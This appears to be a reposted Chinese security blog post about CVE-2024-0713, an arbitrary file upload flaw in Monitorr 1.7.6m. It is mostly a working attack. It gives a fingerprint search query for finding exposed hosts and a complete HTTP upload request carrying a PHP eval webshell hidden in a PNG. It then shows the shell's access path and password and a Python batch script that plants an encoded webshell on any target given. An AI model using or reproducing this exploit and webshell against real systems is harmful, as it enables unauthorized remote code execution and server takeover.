CVE-2024-0713:Monitorr任意文件上传漏洞

admin 2024年2月21日22:12:59评论37 views字数 6501阅读21分40秒阅读模式

CVE-2024-0713:Monitorr任意文件上传漏洞

        漏洞简介

COMMENCEMENT TIME

Monitorr 1.7.6m存在漏洞,该漏洞被定义为关键级别。该漏洞影响了组件Services Configuration的文件/assets/php/upload.php的未知功能。通过操纵fileToUpload参数可导致无限制文件上传。攻击可以远程启动。该漏洞的利用已被公开披露并可能被利用。

        漏洞复现

COMMENCEMENT TIME

步骤一:使用以下搜索语法进行资产搜索并确定测试目标...

# 搜索语法body="assets/php/timestamp.php"

步骤二:抓取首页数据包并修改数据包如下为文件上传请求并在Yakit中进行发送!其中filename字段值为上传的webshell文件名,请求正文中的123为Webshell链接密码...如下则成功!

POST /assets/php/upload.php HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q
 
------WebKitFormBoundaryMmx988TUuintqO4Q
Content-Disposition: form-data; name="fileToUpload"; filename="24k.php"
Content-Type: image/png
 
{{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x01\x00\x00\x00\x01\x00\x08\x06\x00\x00\x00\\r\xa8f\x00\x00\x03\x1eIDATx\x9c\xed\xd4\x01\x09\x00A\x10\xc4\xb0Yx\xff\x96\xef\x854\x81Z\xe8m\xef\xdd6I\xbd\xbe\xdd\x80\x28\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x800\x03\x80\xb0\x1f\xbd\xf4\x07\xfa\xeb>\xbe\xab\x00\x00\x00\x00IEND\xaeB`\x82\x0d\x0a<?php class Gn261550 \x7b public function __construct\x28$HW579\x29\x7b @eval\x28\"/*ZWabn8zLCk*/\".$HW579.\"/*ZWabn8zLCk*/\"\x29; \x7d\x7dnew Gn261550\x28$_REQUEST['123']\x29;?>")}}
------WebKitFormBoundaryMmx988TUuintqO4Q--

 

CVE-2024-0713:Monitorr任意文件上传漏洞

步骤三:拼接一下路径访问上传的Webshell..成功响应页面如下...

# Webshell地址http://127.0.0.1/assets/data/usrimg/24k.php   |   123

CVE-2024-0713:Monitorr任意文件上传漏洞

        批量脚本

 

import requests
import urllib3
import base64
import argparse
import time
from requests.exceptions import RequestException
from requests_toolbelt.multipart.encoder import MultipartEncoder
 
parse = argparse.ArgumentParser()
parse.add_argument("-u", type=str, help="Target url.", default="")
parse.add_argument("-p", type=str, help="Proxy server.", default="")
args = parse.parse_args()
 
urllib3.disable_warnings()
 
 
def decode_png():
    png_1 = b"iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAADHklEQVR4nO3UAQkAQRDEsFl4/5bvhTSBWuht7902Sb2+3YAoA4AwA4AwA4A"
    png_2 = b"wA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4"
    png_3 = b"AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA"
    png_4 = b"4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4Aw"
    png_5 = b"A4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4A"
    png_6 = b"wA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4"
    png_7 = b"AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA"
    png_8 = b"4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4Aw"
    png_9 = b"A4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4A"
    png_10 = b"wA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA"
    png_11 = b"4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4AwA4CwH730B/rrPr6rAAAAAElFTkSuQmCCDQo8P3BocCBjbGFzcyBHbjI2MTU1MCB7IHB"
    png_12 = b"1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkSFc1NzkpeyBAZXZhbCgiLypaV2Fibjh6TENrKi8iLiRIVzU3OS4iLypaV2Fibjh6TENrK"
    png_13 = b"i8iKTsgfX1uZXcgR24yNjE1NTAoJF9SRVFVRVNUWydtb25pdG9yciddKTs/Pg=="
    return base64.b64decode(png_1 + png_2 + png_3 + png_4 + png_5 + png_6 + png_7 + png_8 + png_9 + png_10 + png_11 + png_12 + png_13)
 
 
def run():
    filename = "{}.php".format(int(time.time()))
    data_part = '------WebKitFormBoundaryMmx988TUuintqO4Q\nContent-Disposition: form-data; name="fileToUpload"; filename="{}"\nContent-Type: image/png\n\n'.format(filename)
    data_total = data_part.encode() + decode_png() + b'\n------WebKitFormBoundaryMmx988TUuintqO4Q--'
    header = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4)',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q'
    }
    try:
        res = requests.post(url="{}/assets/php/upload.php".format(args.u), data=data_total, headers=header)
        if "has been uploaded to: ../data/usrimg/{}".format(filename) in res.text:
            print("[+] 漏洞存在!")
            print("[*] shell:{}/assets/data/usrimg/{}\n[*] password:monitorr".format(args.u, filename))
        else:
            print("[-] 漏洞不存在!")
    except RequestException as e:
        print("[-] 请求发生异常!", e)
 
 
if __name__ == '__main__':
    if args.u != "":
        run()
    else:
        print("[-] 参数'-u'不能为空!")

 

 

原文始发于微信公众号(揽月安全团队):CVE-2024-0713:Monitorr任意文件上传漏洞

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月21日22:12:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-0713:Monitorr任意文件上传漏洞https://cn-sec.com/archives/2511449.html

发表评论

匿名网友 填写信息